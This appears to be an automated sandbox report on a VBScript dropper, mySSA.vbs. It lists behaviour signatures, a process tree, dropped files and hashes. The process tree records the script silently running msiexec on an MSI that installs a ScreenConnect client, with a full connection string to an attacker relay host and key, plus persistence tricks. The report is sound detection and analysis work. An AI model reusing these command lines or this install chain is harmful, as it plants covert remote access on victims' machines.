Analysis

  • max time kernel
    299s
  • max time network
    266s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 03:09

General

  • Target
    mySSA.vbs
  • Size 2KB
  • Sample260719-dnl3saav4j
  • SHA256 3a95da66f48c034a56ec39d61de11a4c033828c03ae37b06c9cfc90643ce9506
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mySSA.vbs"
    1⤵
    • Badlisted process makes network request
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Music\component.msi" /qn
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2176
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5940
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D42516EA079389207599A65D78503FAC
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI3CE0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240729687 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:668
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B55D9458372C5263D89FE70B3A04C62F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:252
  • C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-adl8w5-relay.screenconnect.com&p=443&s=976ae0b7-0b81-4542-a9fe-172fc718bbd8&k=BgIAAACkAABSU0ExAAgAAAEAAQDtmlxwbVQ9DSOOmYOdLzaAlqcZHNkvcPJoRklEmg0bvmhw6HOf0FNj85g0iJA1e7DOFFEUXSm0dMK8%2bOwbpj3mhs2%2bH8Wt%2bcwnDw6eOfkYvhlt9FR4d2tFBpHsK9d7xxHjtGby%2bac5qnUTdmfIgIif%2bLqn89BBYRHX5sqspi%2fAOUKhA%2b0haAmdvoZjDbHl4qWrxD3a3O0JwXtu462rFKETvAF2WIiJg%2foSDtU5bLEALp%2fDzXJMGQCunrVZQJ5jNuOLpAb%2bmpkpQBBFVY%2blaA896q8YjWe7Yqf5lOv1XU7AzcWrjrQLohUkeARtDiUPt6GYJpApXKDAssEMoR%2bF663H"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:824
    • C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsClient.exe" "RunRole" "00790044-2c2a-4bea-bc82-e2a8c53ae411" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3024
    • C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsClient.exe" "RunRole" "9a194e46-69ae-4aa7-8d29-5bac5e25c4b5" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:6080

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e593a05.rbs

        • Path C:\Config.Msi\e593a05.rbs
        • Size 214KB
        • SHA256 d94369c595ee854702f8d44b7ce5d64358ec7ecdea41b5413c8cdbe76cb5a85e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 4010ea184982e71ad71e76b43266488c954f665324b89ef042cea9e463a60c9d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.ClientService.dll
        • Size 91KB
        • SHA256 6e6aa42b107d3e82b7b7dc18a75eee3f09e9f268788c0a7edbbc617152adf178
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 a94ecccb5b88e3860d619fbb3b87ff4af6448240ab65b89d610f348d75e793f2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.Core.dll
        • Size 577KB
        • SHA256 eedbd9ba4755f238af397c71b575082e18a31eabacc22abb4949f92fe991e169
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 305663a05c77c8058569a976db740aa2f20b66583f0381059633b628376570fc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsClient.exe
        • Size 676KB
        • SHA256 f49ca44ae19ec33053d76aeca7136193095b6583888a0be063b8120c3c9226c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 ce75ee1188726b49d46477166faac6f8715ca1aa4afc5b8a687fcbfcd541c0c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (29005b524df8d6fa)\system.config
        • Size 968B
        • SHA256 5b8fdacf236e27fc87fefe38f809e4b7ec60903587f86b86598922ec925ab6bc
        • MD5 SHA1 SHA512 TLSH

        component.msi

        • Path C:\Users\Admin\Music\component.msi
        • Size 9.8MB
        • SHA256 1dad19f74d0dfc71d8f36a57056742e431cd9ab66b81b1f269301fd6878a7e52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI3CE0.tmp

        • Path C:\Windows\Installer\MSI3CE0.tmp
        • Size 1.1MB
        • SHA256 18bacfd2a7c95800b6279cb8731bf03c8bbb526f5bc3790254a8e06d7ceee8ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI3CE0.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI3CE0.tmp-\ScreenConnect.Core.dll
        • Size 567KB
        • SHA256 15fec18d3a8990cdb540897ede61227353165668048c001164fcd22233cc8390
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI3CE0.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 c1142cc3ae09a7d3b5392539c29cbeb585543a38c93e37e55d82cbe0bb56d588
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI3CE0.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 ae3005e1ca932eccde09c479fde2ecf8ea2feeb908dec4f0c830eab671276454
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI44A2.tmp

        • Path C:\Windows\Installer\MSI44A2.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        e1qzgfy5.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29005b524df8d6fa)\e1qzgfy5.newcfg
        • Size 683B
        • SHA256 2125645d713250190c6d92ac200eed6cd21531190150f8cd299bb2d62cec3067
        • MD5 SHA1 SHA512 TLSH

        gn3ca3n3.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29005b524df8d6fa)\gn3ca3n3.newcfg
        • Size 883B
        • SHA256 66ea4453ce44e537b691a4c87061357193d823865c3197bca0669cb887e9255a
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29005b524df8d6fa)\user.config
        • Size 520B
        • SHA256 7d400902388c0138ca4eb1cad0873fe17c0fe8f148f423540869360ff4f05b9d
        • MD5 SHA1 SHA512 TLSH

        memory/668-36-0x00000000067F0000-0x0000000006DAA000-memory.dmp

        memory/668-35-0x0000000006080000-0x0000000006230000-memory.dmp

        memory/668-23-0x0000000005CF0000-0x0000000005D1E000-memory.dmp

        memory/668-27-0x0000000003CD0000-0x0000000003CDC000-memory.dmp

        memory/668-31-0x0000000005E30000-0x0000000005EC4000-memory.dmp

        memory/824-119-0x0000000004350000-0x0000000004426000-memory.dmp

        memory/824-114-0x0000000004050000-0x00000000040BC000-memory.dmp

        memory/824-117-0x0000000003FE0000-0x0000000004021000-memory.dmp

        memory/824-95-0x0000000003F90000-0x0000000003FE0000-memory.dmp

        memory/824-78-0x0000000003B80000-0x0000000003C14000-memory.dmp

        memory/824-115-0x0000000004160000-0x00000000041F2000-memory.dmp

        memory/824-82-0x0000000003DE0000-0x0000000003F90000-memory.dmp

        memory/824-72-0x0000000003AC0000-0x0000000003ADA000-memory.dmp

        memory/3024-138-0x0000000000CC0000-0x0000000000D6E000-memory.dmp

        memory/3024-139-0x000000001B9D0000-0x000000001BA3C000-memory.dmp

        memory/3024-140-0x000000001BDE0000-0x000000001BE74000-memory.dmp

        memory/3024-141-0x000000001C030000-0x000000001C1E0000-memory.dmp

        memory/3024-142-0x0000000002EB0000-0x0000000002ECA000-memory.dmp

        memory/3024-143-0x000000001C370000-0x000000001C4F8000-memory.dmp